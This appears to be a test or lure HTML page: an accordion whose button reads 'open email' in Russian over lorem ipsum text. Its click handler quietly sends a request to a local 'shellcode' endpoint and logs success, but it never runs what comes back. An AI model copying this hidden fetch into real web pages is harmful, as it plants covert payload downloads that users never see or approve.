
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.accordion {
  background-color: #eee;
  color: #444;
  cursor: pointer;
  padding: 18px;
  width: 100%;
  border: none;
  text-align: left;
  outline: none;
  font-size: 15px;
  transition: 0.4s;
}

.active, .accordion:hover {
  background-color: #ccc; 
}

.panel {
  padding: 0 18px;
  display: none;
  background-color: white;
  overflow: hidden;
}
</style>
</head>
<body>

<button class="accordion">открыть электронную почту</button>
<div class="panel">
  <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
</div>

<script>
var acc = document.getElementsByClassName("accordion");
var i;

for (i = 0; i < acc.length; i++) {
  acc[i].addEventListener("click", function() {
    this.classList.toggle("active");
    var panel = this.nextElementSibling;
    if (panel.style.display === "block") {
      panel.style.display = "none";
    } else {
        panel.style.display = "block";
	  	var xhr = new XMLHttpRequest();
		xhr.open('GET', 'http://localhost:666/shellcode', true);
		xhr.onload = function() {
			if (xhr.status === 200) {
				console.log('Action exécutée avec succès');
			}
		};
		xhr.send();
    }
  });
}
</script>

</body>
</html>